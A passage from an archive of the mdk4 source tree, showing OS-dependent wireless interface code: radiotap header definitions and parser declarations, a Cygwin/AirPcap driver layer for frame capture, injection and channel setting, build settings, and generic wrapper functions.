{ if (iter.this_arg_index == IEEE80211_RADIOTAP_VENDOR_NAMESPACE) { printf("\tvendor NS (%.2x-%.2x-%.2x:%d, %d bytes)\n", iter.this_arg[0], iter.this_arg[1], iter.this_arg[2], iter.this_arg[3], iter.this_arg_size - 6); for (i = 6; i < iter.this_arg_size; i++) { if (i % 8 == 6) printf("\t\t"); else printf(" "); printf("%.2x", iter.this_arg[i]); } printf("\n"); } else if (iter.is_radiotap_ns) print_radiotap_namespace(&iter); else if (iter.current_namespace == &vns_array[0]) print_test_namespace(&iter); } if (err != -ENOENT) { printf("malformed radiotap data\n"); return 3; } return 0; } mdk4-master/src/osdep/radiotap/radiotap.h0000644000175000017500000002515313525065636021463 0ustar samuelophsamueloph/*- * Copyright (c) 2003, 2004 David Young. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of David Young may not be used to endorse or promote * products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY DAVID YOUNG ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL DAVID * YOUNG BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY * OF SUCH DAMAGE. */ /* * Modifications to fit into the linux IEEE 802.11 stack, * Mike Kershaw (dragorn@kismetwireless.net) */ #ifndef IEEE80211RADIOTAP_H #define IEEE80211RADIOTAP_H #include /* Base version of the radiotap packet header data */ #define PKTHDR_RADIOTAP_VERSION 0 /* A generic radio capture format is desirable. There is one for * Linux, but it is neither rigidly defined (there were not even * units given for some fields) nor easily extensible. * * I suggest the following extensible radio capture format. It is * based on a bitmap indicating which fields are present. * * I am trying to describe precisely what the application programmer * should expect in the following, and for that reason I tell the * units and origin of each measurement (where it applies), or else I * use sufficiently weaselly language ("is a monotonically nondecreasing * function of...") that I cannot set false expectations for lawyerly * readers. */ /* The radio capture header precedes the 802.11 header. * All data in the header is little endian on all platforms. */ struct ieee80211_radiotap_header { uint8_t it_version; /* Version 0. Only increases * for drastic changes, * introduction of compatible * new fields does not count. */ uint8_t it_pad; uint16_t it_len; /* length of the whole * header in bytes, including * it_version, it_pad, * it_len, and data fields. */ uint32_t it_present; /* A bitmap telling which * fields are present. Set bit 31 * (0x80000000) to extend the * bitmap by another 32 bits. * Additional extensions are made * by setting bit 31. */ }; /* Name Data type Units * ---- --------- ----- * * IEEE80211_RADIOTAP_TSFT __le64 microseconds * * Value in microseconds of the MAC's 64-bit 802.11 Time * Synchronization Function timer when the first bit of the * MPDU arrived at the MAC. For received frames, only. * * IEEE80211_RADIOTAP_CHANNEL 2 x uint16_t MHz, bitmap * * Tx/Rx frequency in MHz, followed by flags (see below). * * IEEE80211_RADIOTAP_FHSS uint16_t see below * * For frequency-hopping radios, the hop set (first byte) * and pattern (second byte). * * IEEE80211_RADIOTAP_RATE u8 500kb/s * * Tx/Rx data rate * * IEEE80211_RADIOTAP_DBM_ANTSIGNAL s8 decibels from * one milliwatt (dBm) * * RF signal power at the antenna, decibel difference from * one milliwatt. * * IEEE80211_RADIOTAP_DBM_ANTNOISE s8 decibels from * one milliwatt (dBm) * * RF noise power at the antenna, decibel difference from one * milliwatt. * * IEEE80211_RADIOTAP_DB_ANTSIGNAL u8 decibel (dB) * * RF signal power at the antenna, decibel difference from an * arbitrary, fixed reference. * * IEEE80211_RADIOTAP_DB_ANTNOISE u8 decibel (dB) * * RF noise power at the antenna, decibel difference from an * arbitrary, fixed reference point. * * IEEE80211_RADIOTAP_LOCK_QUALITY uint16_t unitless * * Quality of Barker code lock. Unitless. Monotonically * nondecreasing with "better" lock strength. Called "Signal * Quality" in datasheets. (Is there a standard way to measure * this?) * * IEEE80211_RADIOTAP_TX_ATTENUATION uint16_t unitless * * Transmit power expressed as unitless distance from max * power set at factory calibration. 0 is max power. * Monotonically nondecreasing with lower power levels. * * IEEE80211_RADIOTAP_DB_TX_ATTENUATION uint16_t decibels (dB) * * Transmit power expressed as decibel distance from max power * set at factory calibration. 0 is max power. Monotonically * nondecreasing with lower power levels. * * IEEE80211_RADIOTAP_DBM_TX_POWER s8 decibels from * one milliwatt (dBm) * * Transmit power expressed as dBm (decibels from a 1 milliwatt * reference). This is the absolute power level measured at * the antenna port. * * IEEE80211_RADIOTAP_FLAGS u8 bitmap * * Properties of transmitted and received frames. See flags * defined below. * * IEEE80211_RADIOTAP_ANTENNA u8 antenna index * * Unitless indication of the Rx/Tx antenna for this packet. * The first antenna is antenna 0. * * IEEE80211_RADIOTAP_RX_FLAGS uint16_t bitmap * * Properties of received frames. See flags defined below. * * IEEE80211_RADIOTAP_TX_FLAGS uint16_t bitmap * * Properties of transmitted frames. See flags defined below. * * IEEE80211_RADIOTAP_RTS_RETRIES u8 data * * Number of rts retries a transmitted frame used. * * IEEE80211_RADIOTAP_DATA_RETRIES u8 data * * Number of unicast retries a transmitted frame used. * * IEEE80211_RADIOTAP_MCS u8, u8, u8 unitless * * Contains a bitmap of known fields/flags, the flags, and * the MCS index. * * IEEE80211_RADIOTAP_AMPDU_STATUS u32, u16, u8, u8 unitlesss * * Contains the AMPDU information for the subframe. */ enum ieee80211_radiotap_type { IEEE80211_RADIOTAP_TSFT = 0, IEEE80211_RADIOTAP_FLAGS = 1, IEEE80211_RADIOTAP_RATE = 2, IEEE80211_RADIOTAP_CHANNEL = 3, IEEE80211_RADIOTAP_FHSS = 4, IEEE80211_RADIOTAP_DBM_ANTSIGNAL = 5, IEEE80211_RADIOTAP_DBM_ANTNOISE = 6, IEEE80211_RADIOTAP_LOCK_QUALITY = 7, IEEE80211_RADIOTAP_TX_ATTENUATION = 8, IEEE80211_RADIOTAP_DB_TX_ATTENUATION = 9, IEEE80211_RADIOTAP_DBM_TX_POWER = 10, IEEE80211_RADIOTAP_ANTENNA = 11, IEEE80211_RADIOTAP_DB_ANTSIGNAL = 12, IEEE80211_RADIOTAP_DB_ANTNOISE = 13, IEEE80211_RADIOTAP_RX_FLAGS = 14, IEEE80211_RADIOTAP_TX_FLAGS = 15, IEEE80211_RADIOTAP_RTS_RETRIES = 16, IEEE80211_RADIOTAP_DATA_RETRIES = 17, IEEE80211_RADIOTAP_MCS = 19, IEEE80211_RADIOTAP_AMPDU_STATUS = 20, /* valid in every it_present bitmap, even vendor namespaces */ IEEE80211_RADIOTAP_RADIOTAP_NAMESPACE = 29, IEEE80211_RADIOTAP_VENDOR_NAMESPACE = 30, IEEE80211_RADIOTAP_EXT = 31 }; /* Channel flags. */ #define IEEE80211_CHAN_TURBO 0x0010 /* Turbo channel */ #define IEEE80211_CHAN_CCK 0x0020 /* CCK channel */ #define IEEE80211_CHAN_OFDM 0x0040 /* OFDM channel */ #define IEEE80211_CHAN_2GHZ 0x0080 /* 2 GHz spectrum channel. */ #define IEEE80211_CHAN_5GHZ 0x0100 /* 5 GHz spectrum channel */ #define IEEE80211_CHAN_PASSIVE 0x0200 /* Only passive scan allowed */ #define IEEE80211_CHAN_DYN 0x0400 /* Dynamic CCK-OFDM channel */ #define IEEE80211_CHAN_GFSK 0x0800 /* GFSK channel (FHSS PHY) */ /* For IEEE80211_RADIOTAP_FLAGS */ #define IEEE80211_RADIOTAP_F_CFP 0x01 /* sent/received * during CFP */ #define IEEE80211_RADIOTAP_F_SHORTPRE 0x02 /* sent/received * with short * preamble */ #define IEEE80211_RADIOTAP_F_WEP 0x04 /* sent/received * with WEP encryption */ #define IEEE80211_RADIOTAP_F_FRAG 0x08 /* sent/received * with fragmentation */ #define IEEE80211_RADIOTAP_F_FCS 0x10 /* frame includes FCS */ #define IEEE80211_RADIOTAP_F_DATAPAD 0x20 /* frame has padding between * 802.11 header and payload * (to 32-bit boundary) */ #define IEEE80211_RADIOTAP_F_BADFCS 0x40 /* frame failed FCS check */ /* For IEEE80211_RADIOTAP_RX_FLAGS */ #define IEEE80211_RADIOTAP_F_RX_BADPLCP 0x0002 /* bad PLCP */ /* For IEEE80211_RADIOTAP_TX_FLAGS */ #define IEEE80211_RADIOTAP_F_TX_FAIL 0x0001 /* failed due to excessive * retries */ #define IEEE80211_RADIOTAP_F_TX_CTS 0x0002 /* used cts 'protection' */ #define IEEE80211_RADIOTAP_F_TX_RTS 0x0004 /* used rts/cts handshake */ /* For IEEE80211_RADIOTAP_AMPDU_STATUS */ #define IEEE80211_RADIOTAP_AMPDU_REPORT_ZEROLEN 0x0001 #define IEEE80211_RADIOTAP_AMPDU_IS_ZEROLEN 0x0002 #define IEEE80211_RADIOTAP_AMPDU_LAST_KNOWN 0x0004 #define IEEE80211_RADIOTAP_AMPDU_IS_LAST 0x0008 #define IEEE80211_RADIOTAP_AMPDU_DELIM_CRC_ERR 0x0010 #define IEEE80211_RADIOTAP_AMPDU_DELIM_CRC_KNOWN 0x0020 /* For IEEE80211_RADIOTAP_MCS */ #define IEEE80211_RADIOTAP_MCS_HAVE_BW 0x01 #define IEEE80211_RADIOTAP_MCS_HAVE_MCS 0x02 #define IEEE80211_RADIOTAP_MCS_HAVE_GI 0x04 #define IEEE80211_RADIOTAP_MCS_HAVE_FMT 0x08 #define IEEE80211_RADIOTAP_MCS_HAVE_FEC 0x10 #define IEEE80211_RADIOTAP_MCS_HAVE_STBC 0x20 #define IEEE80211_RADIOTAP_MCS_HAVE_NESS 0x40 #define IEEE80211_RADIOTAP_MCS_NESS_BIT1 0x80 #define IEEE80211_RADIOTAP_MCS_BW_MASK 0x03 #define IEEE80211_RADIOTAP_MCS_BW_20 0 #define IEEE80211_RADIOTAP_MCS_BW_40 1 #define IEEE80211_RADIOTAP_MCS_BW_20L 2 #define IEEE80211_RADIOTAP_MCS_BW_20U 3 #define IEEE80211_RADIOTAP_MCS_SGI 0x04 #define IEEE80211_RADIOTAP_MCS_FMT_GF 0x08 #define IEEE80211_RADIOTAP_MCS_FEC_LDPC 0x10 #define IEEE80211_RADIOTAP_MCS_STBC_MASK 0x60 #define IEEE80211_RADIOTAP_MCS_STBC_SHIFT 5 #define IEEE80211_RADIOTAP_MCS_STBC_1 1 #define IEEE80211_RADIOTAP_MCS_STBC_2 2 #define IEEE80211_RADIOTAP_MCS_STBC_3 3 #define IEEE80211_RADIOTAP_MCS_NESS_BIT0 0x80 #endif /* IEEE80211_RADIOTAP_H */ mdk4-master/src/osdep/radiotap/radiotap-parser.h0000644000175000017500000000512713525065636022754 0ustar samuelophsamueloph/* * Copyright (c) 2007, 2008, Andy Green * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; version 2. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ #define __user #include "../byteorder.h" #include typedef uint64_t u64; typedef uint32_t u32; typedef uint16_t u16; typedef uint8_t u8; #ifndef unlikely #define unlikely(x) (x) #endif #include "ieee80211_radiotap.h" /* * Radiotap header iteration * implemented in src/radiotap-parser.c * * call __ieee80211_radiotap_iterator_init() to init a semi-opaque iterator * struct ieee80211_radiotap_iterator (no need to init the struct beforehand) * then loop calling __ieee80211_radiotap_iterator_next()... it returns -1 * if there are no more args in the header, or the next argument type index * that is present. The iterator's this_arg member points to the start of the * argument associated with the current argument index that is present, * which can be found in the iterator's this_arg_index member. This arg * index corresponds to the IEEE80211_RADIOTAP_... defines. */ /** * struct ieee80211_radiotap_iterator - tracks walk thru present radiotap args * @rtheader: pointer to the radiotap header we are walking through * @max_length: length of radiotap header in cpu byte ordering * @this_arg_index: IEEE80211_RADIOTAP_... index of current arg * @this_arg: pointer to current radiotap arg * @arg_index: internal next argument index * @arg: internal next argument pointer * @next_bitmap: internal pointer to next present u32 * @bitmap_shifter: internal shifter for curr u32 bitmap, b0 set == arg present */ struct ieee80211_radiotap_iterator { struct ieee80211_radiotap_header *rtheader; int max_length; int this_arg_index; u8 * this_arg; int arg_index; u8 * arg; u32 *next_bitmap; u32 bitmap_shifter; }; int ieee80211_radiotap_iterator_init( struct ieee80211_radiotap_iterator * iterator, struct ieee80211_radiotap_header * radiotap_header, int max_length); int ieee80211_radiotap_iterator_next( struct ieee80211_radiotap_iterator * iterator); mdk4-master/src/osdep/cygwin.c0000644000175000017500000002771513525065636017356 0ustar samuelophsamueloph /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for cygwin. It relies on an external * DLL to do the actual wifi stuff * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA */ #include #include #include #include #include #include #include #include #include #include "osdep.h" #include "network.h" #include "cygwin.h" #ifdef HAVE_AIRPCAP #include "airpcap.h" #endif #define xstr(s) str(s) #define str(s) #s #define DLL_EXTENSION ".dll" struct priv_cygwin { pthread_t pc_reader; volatile int pc_running; int pc_pipe[2]; /* reader -> parent */ int pc_channel; int pc_frequency; struct wif *pc_wi; int pc_did_init; int isAirpcap; int useDll; int (*pc_init)(char *param); int (*pc_set_chan)(int chan); int (*pc_set_freq)(int freq); int (*pc_inject)(void *buf, int len, struct tx_info *ti); int (*pc_sniff)(void *buf, int len, struct rx_info *ri); int (*pc_get_mac)(void *mac); int (*pc_set_mac)(void *mac); void (*pc_close)(void); }; /** * strstr() function case insensitive * @param String C string to be scanned * @param Pattern C string containing the sequence of characters to match * @return Pointer to the first occurrence of Pattern in String, or a null pointer if there Pattern is not part of String. */ char *stristr(const char *String, const char *Pattern) { char *pptr, *sptr, *start; unsigned slen, plen; for (start = (char *)String, pptr = (char *)Pattern, slen = strlen(String), plen = strlen(Pattern); /* while string length not shorter than pattern length */ slen >= plen; start++, slen--) { /* find start of pattern in string */ while (toupper((int)*start) != toupper((int)*Pattern)) { start++; slen--; /* if pattern longer than string */ if (slen < plen) return(NULL); } sptr = start; pptr = (char *)Pattern; while (toupper((int)*sptr) == toupper((int)*pptr)) { sptr++; pptr++; /* if end of pattern then pattern was found */ if ('\0' == *pptr) return (start); } } return(NULL); } /** * Get the different functions for to interact with the device: * - setting monitor mode * - changing channel * - capturing data * - injecting packets * @param iface The interface name */ static int do_cygwin_open(struct wif *wi, char *iface) { struct priv_cygwin *priv = wi_priv(wi); void *lib; char *file; char *parm; int rc = -1; int tempret = 0; if (!iface) return -1; if (strlen(iface) == 0) return -1; priv->useDll = 0; if (stristr(iface, DLL_EXTENSION)) priv->useDll = 1; if (priv->useDll) { file = strdup(iface); if (!file) return -1; parm = strchr(file, '|'); if (parm) *parm++ = 0; /* load lib */ lib = dlopen(file, RTLD_LAZY); if (!lib) goto errdll; priv->pc_init = dlsym(lib, xstr(CYGWIN_DLL_INIT)); priv->pc_set_chan = dlsym(lib, xstr(CYGWIN_DLL_SET_CHAN)); priv->pc_set_freq = dlsym(lib, xstr(CYGWIN_DLL_SET_FREQ)); priv->pc_get_mac = dlsym(lib, xstr(CYGWIN_DLL_GET_MAC)); priv->pc_set_mac = dlsym(lib, xstr(CYGWIN_DLL_SET_MAC)); priv->pc_close = dlsym(lib, xstr(CYGWIN_DLL_CLOSE)); priv->pc_inject = dlsym(lib, xstr(CYGWIN_DLL_INJECT)); priv->pc_sniff = dlsym(lib, xstr(CYGWIN_DLL_SNIFF)); if (!(priv->pc_init && priv->pc_set_chan && priv->pc_get_mac && priv->pc_inject && priv->pc_sniff && priv->pc_close)) goto errdll; /* init lib */ if ((rc = priv->pc_init(parm))) goto errdll; priv->pc_did_init = 1; rc = 0; errdll: free(file); } else { #ifdef HAVE_AIRPCAP // Check if it's an Airpcap device priv->isAirpcap = isAirpcapDevice(iface); if (priv->isAirpcap) { // Get functions priv->pc_init = airpcap_init; priv->pc_set_chan = airpcap_set_chan; priv->pc_get_mac = airpcap_get_mac; priv->pc_set_mac = airpcap_set_mac; priv->pc_close = airpcap_close; priv->pc_inject = airpcap_inject; priv->pc_sniff = airpcap_sniff; rc = 0; } #endif } if (rc == 0) { // Don't forget to initialize if (! priv->useDll) { rc = priv->pc_init(iface); if (rc == 0) priv->pc_did_init = 1; else fprintf(stderr,"Error initializing <%s>\n", iface); } if (priv->pc_did_init) { /* set initial chan */ tempret = wi_set_channel(wi, 1); if (tempret) rc = tempret; } } else { // Show an error message if the adapter is not supported fprintf(stderr, "Adapter <%s> not supported\n", iface); } return rc; } /** * Change channel * @param chan Channel * @return 0 if successful, -1 if it failed */ static int cygwin_set_channel(struct wif *wi, int chan) { struct priv_cygwin *priv = wi_priv(wi); if (priv->pc_set_chan(chan) == -1) return -1; priv->pc_channel = chan; return 0; } /** * Change frequency * @param freq Frequency * @return 0 if successful, -1 if it failed */ static int cygwin_set_freq(struct wif *wi, int freq) { struct priv_cygwin *priv = wi_priv(wi); if (!priv->pc_set_freq || priv->pc_set_freq(freq) == -1) return -1; priv->pc_frequency = freq; return 0; } /** * Capture a packet * @param buf Buffer for the packet (has to be already allocated) * @param len Length of the buffer * @param ri Receive information structure * @return -1 in case of failure or the number of bytes received */ static int cygwin_read_packet(struct priv_cygwin *priv, void *buf, int len, struct rx_info *ri) { int rd; memset(ri, 0, sizeof(*ri)); rd = priv->pc_sniff(buf, len, ri); if (rd == -1) return -1; if (!ri->ri_channel) ri->ri_channel = wi_get_channel(priv->pc_wi); return rd; } /** * Send a packet * @param h80211 The packet itself * @param len Length of the packet * @param ti Transmit information * @return -1 if failure or the number of bytes sent */ static int cygwin_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { struct priv_cygwin *priv = wi_priv(wi); int rc; if ((rc = priv->pc_inject(h80211, len, ti)) == -1) return -1; return rc; } /** * Get device channel * @return channel */ static int cygwin_get_channel(struct wif *wi) { struct priv_cygwin *pc = wi_priv(wi); return pc->pc_channel; } static int cygwin_get_freq(struct wif *wi) { struct priv_cygwin *pc = wi_priv(wi); return pc->pc_frequency; } int cygwin_read_reader(int fd, int plen, void *dst, int len) { /* packet */ if (len > plen) len = plen; if (net_read_exact(fd, dst, len) == -1) return -1; plen -= len; /* consume packet */ while (plen) { char lame[1024]; int rd = sizeof(lame); if (rd > plen) rd = plen; if (net_read_exact(fd, lame, rd) == -1) return -1; plen -= rd; assert(plen >= 0); } return len; } static int cygwin_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { struct priv_cygwin *pc = wi_priv(wi); struct rx_info tmp; int plen; if (pc->pc_running == -1) return -1; if (!ri) ri = &tmp; /* length */ if (net_read_exact(pc->pc_pipe[0], &plen, sizeof(plen)) == -1) return -1; /* ri */ if (net_read_exact(pc->pc_pipe[0], ri, sizeof(*ri)) == -1) return -1; plen -= sizeof(*ri); assert(plen > 0); return cygwin_read_reader(pc->pc_pipe[0], plen, h80211, len); } /** * Free allocated data */ static void do_free(struct wif *wi) { struct priv_cygwin *pc = wi_priv(wi); int tries = 3; /* wait for reader */ if (pc->pc_running == 1) { pc->pc_running = 0; while ((pc->pc_running != -1) && tries--) sleep(1); } if (pc->pc_pipe[0]) { close(pc->pc_pipe[0]); close(pc->pc_pipe[1]); } if (pc->pc_did_init) pc->pc_close(); assert(wi->wi_priv); free(wi->wi_priv); wi->wi_priv = 0; free(wi); } /** * Close the device and free data */ static void cygwin_close(struct wif *wi) { do_free(wi); } /** * Get the file descriptor for the device */ static int cygwin_fd(struct wif *wi) { struct priv_cygwin *pc = wi_priv(wi); if (pc->pc_running == -1) return -1; return pc->pc_pipe[0]; } /** * Get MAC Address of the device * @param mac It will contain the mac address * @return 0 if successful */ static int cygwin_get_mac(struct wif *wi, unsigned char *mac) { struct priv_cygwin *pc = wi_priv(wi); return pc->pc_get_mac(mac); } /** * Set MAC Address of the device * @param mac MAC Address * @return 0 if successful */ static int cygwin_set_mac(struct wif *wi, unsigned char *mac) { struct priv_cygwin *pc = wi_priv(wi); return pc->pc_set_mac(mac); } static int cygwin_get_monitor(struct wif *wi) { if (wi) {} /* XXX unused */ return 0; } static int cygwin_get_rate(struct wif *wi) { if (wi) {} /* XXX unused */ return 1000000; } /** * Set (injection) rate of the device * @param rate Rate to be used * @return 0 (successful) */ static int cygwin_set_rate(struct wif *wi, int rate) { if (wi || rate) {} /* XXX unused */ return 0; } static void *cygwin_reader(void *arg) { struct priv_cygwin *priv = arg; unsigned char buf[2048]; int len; struct rx_info ri; while (priv->pc_running) { /* read one packet */ /* a potential problem: the cygwin_read_packet will never return * if there no packet sniffered, so the thread cannot be closed * correctly. */ len = cygwin_read_packet(priv, buf, sizeof(buf), &ri); if (len == -1) break; /* len */ len += sizeof(ri); if (write(priv->pc_pipe[1], &len, sizeof(len)) != sizeof(len)) break; len -= sizeof(ri); /* ri */ if (write(priv->pc_pipe[1], &ri, sizeof(ri)) != sizeof(ri)) break; /* packet */ if (write(priv->pc_pipe[1], buf, len) != len) break; } priv->pc_running = -1; return NULL; } static struct wif *cygwin_open(char *iface) { struct wif *wi; struct priv_cygwin *priv; /* setup wi struct */ wi = wi_alloc(sizeof(*priv)); if (!wi) return NULL; wi->wi_read = cygwin_read; wi->wi_write = cygwin_write; wi->wi_set_channel = cygwin_set_channel; wi->wi_get_channel = cygwin_get_channel; wi->wi_set_freq = cygwin_set_freq; wi->wi_get_freq = cygwin_get_freq; wi->wi_close = cygwin_close; wi->wi_fd = cygwin_fd; wi->wi_get_mac = cygwin_get_mac; wi->wi_set_mac = cygwin_set_mac; wi->wi_get_rate = cygwin_get_rate; wi->wi_set_rate = cygwin_set_rate; wi->wi_get_monitor = cygwin_get_monitor; /* setup iface */ if (do_cygwin_open(wi, iface) == -1) goto err; /* setup private state */ priv = wi_priv(wi); priv->pc_wi = wi; /* setup reader */ if (pipe(priv->pc_pipe) == -1) goto err; priv->pc_running = 2; if (pthread_create(&priv->pc_reader, NULL, cygwin_reader, priv)) goto err; priv->pc_running = 1; return wi; err: do_free(wi); return NULL; } struct wif *wi_open_osdep(char *iface) { return cygwin_open(iface); } /** * Return remaining battery time in seconds. * @return Battery time in seconds or 0 if no battery (or connected to power) */ int get_battery_state(void) { SYSTEM_POWER_STATUS powerStatus; int batteryTime = 0; if (GetSystemPowerStatus(&powerStatus) == TRUE) { if (powerStatus.ACLineStatus == 0) batteryTime = (int)powerStatus.BatteryLifeTime; } return batteryTime; } mdk4-master/src/osdep/common.mak0000644000175000017500000000340113525065636017656 0ustar samuelophsamuelophifndef TOOL_PREFIX TOOL_PREFIX = endif ifndef OSNAME OSNAME = $(shell uname -s | sed -e 's/.*CYGWIN.*/cygwin/g' -e 's,/,-,g') endif ifndef SQLITE SQLITE = false endif ifndef LIBAIRPCAP LIBAIRPCAP = endif ifeq ($(OSNAME), cygwin) EXE = .exe PIC = SQLITE = false else EXE = PIC = -fPIC ifndef SQLITE SQLITE = true endif endif COMMON_CFLAGS = ifeq ($(OSNAME), cygwin) COMMON_CFLAGS += -DCYGWIN endif ifeq ($(SQLITE), true) COMMON_CFLAGS += -I/usr/local/include -DHAVE_SQLITE else ifeq ($(sqlite), true) COMMON_CFLAGS += -I/usr/local/include -DHAVE_SQLITE else ifeq ($(SQLITE), TRUE) COMMON_CFLAGS += -I/usr/local/include -DHAVE_SQLITE else ifeq ($(sqlite), TRUE) COMMON_CFLAGS += -I/usr/local/include -DHAVE_SQLITE endif endif endif endif ifeq ($(airpcap), true) AIRPCAP = true endif ifeq ($(AIRPCAP), true) LIBAIRPCAP = -DHAVE_AIRPCAP -I$(AC_ROOT)/../developers/Airpcap_Devpack/include endif ifeq ($(OSNAME), cygwin) CC = $(TOOL_PREFIX)gcc-4 else CC = $(TOOL_PREFIX)gcc endif RANLIB = $(TOOL_PREFIX)ranlib AR = $(TOOL_PREFIX)ar REVISION = mdk3-v7 REVFLAGS = -D_REVISION=$(REVISION) OPTFLAGS = -D_FILE_OFFSET_BITS=64 CFLAGS ?= -g -W -Wall -Wextra -O3 CFLAGS += $(OPTFLAGS) $(REVFLAGS) $(COMMON_CFLAGS) prefix = /usr/local bindir = $(prefix)/bin sbindir = $(prefix)/sbin mandir = $(prefix)/share/man/man1 datadir = $(prefix)/share docdir = $(datadir)/doc/aircrack-ng libdir = $(prefix)/lib etcdir = $(prefix)/etc/aircrack-ng GCC_OVER45 = $(shell expr 45 \<= `$(CC) -dumpversion | awk -F. '{ print $1$2 }'`) ifeq ($(GCC_OVER45), 1) CFLAGS += -Wno-unused-but-set-variable endif mdk4-master/src/osdep/airpcap.h0000644000175000017500000000063613525065636017473 0ustar samuelophsamueloph// Function to be used by cygwin void airpcap_close(void); int airpcap_get_mac(void *mac); int airpcap_set_mac(void *mac); int airpcap_sniff(void *buf, int len, struct rx_info *ri); int airpcap_inject(void *buf, int len, struct tx_info *ti); int airpcap_init(char *param); int airpcap_set_chan(int chan); int isAirpcapDevice(const char * iface); //int printErrorCloseAndReturn(const char * err, int retValue); mdk4-master/src/osdep/dummy.c0000644000175000017500000000222513525065636017176 0ustar samuelophsamueloph /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for unsupported APIs. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA */ #include #include #include "osdep.h" struct wif *wi_open_osdep(char *iface) { if (iface) {} /* XXX unused parameter */ errno = EOPNOTSUPP; return NULL; } int get_battery_state(void) { errno = EOPNOTSUPP; return -1; } int create_tap(void) { errno = EOPNOTSUPP; return -1; } mdk4-master/src/osdep/osdep.c0000644000175000017500000001152413525065636017157 0ustar samuelophsamueloph /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA */ #include #include #include #include "osdep.h" #include "network.h" extern struct wif *file_open(char *iface); int wi_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { assert(wi->wi_read); return wi->wi_read(wi, h80211, len, ri); } int wi_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { assert(wi->wi_write); return wi->wi_write(wi, h80211, len, ti); } int wi_set_channel(struct wif *wi, int chan) { assert(wi->wi_set_channel); return wi->wi_set_channel(wi, chan); } int wi_get_channel(struct wif *wi) { assert(wi->wi_get_channel); return wi->wi_get_channel(wi); } int wi_set_freq(struct wif *wi, int freq) { assert(wi->wi_set_freq); return wi->wi_set_freq(wi, freq); } int wi_get_freq(struct wif *wi) { assert(wi->wi_get_freq); return wi->wi_get_freq(wi); } int wi_get_monitor(struct wif *wi) { assert(wi->wi_get_monitor); return wi->wi_get_monitor(wi); } char *wi_get_ifname(struct wif *wi) { return wi->wi_interface; } void wi_close(struct wif *wi) { assert(wi->wi_close); wi->wi_close(wi); } int wi_fd(struct wif *wi) { assert(wi->wi_fd); return wi->wi_fd(wi); } struct wif *wi_alloc(int sz) { struct wif *wi; void *priv; /* Allocate wif & private state */ wi = malloc(sizeof(*wi)); if (!wi) return NULL; memset(wi, 0, sizeof(*wi)); priv = malloc(sz); if (!priv) { free(wi); return NULL; } memset(priv, 0, sz); wi->wi_priv = priv; return wi; } void *wi_priv(struct wif *wi) { return wi->wi_priv; } int wi_get_mac(struct wif *wi, unsigned char *mac) { assert(wi->wi_get_mac); return wi->wi_get_mac(wi, mac); } int wi_set_mac(struct wif *wi, unsigned char *mac) { assert(wi->wi_set_mac); return wi->wi_set_mac(wi, mac); } int wi_get_rate(struct wif *wi) { assert(wi->wi_get_rate); return wi->wi_get_rate(wi); } int wi_set_rate(struct wif *wi, int rate) { assert(wi->wi_set_rate); return wi->wi_set_rate(wi, rate); } int wi_get_mtu(struct wif *wi) { assert(wi->wi_get_mtu); return wi->wi_get_mtu(wi); } int wi_set_mtu(struct wif *wi, int mtu) { assert(wi->wi_set_mtu); return wi->wi_set_mtu(wi, 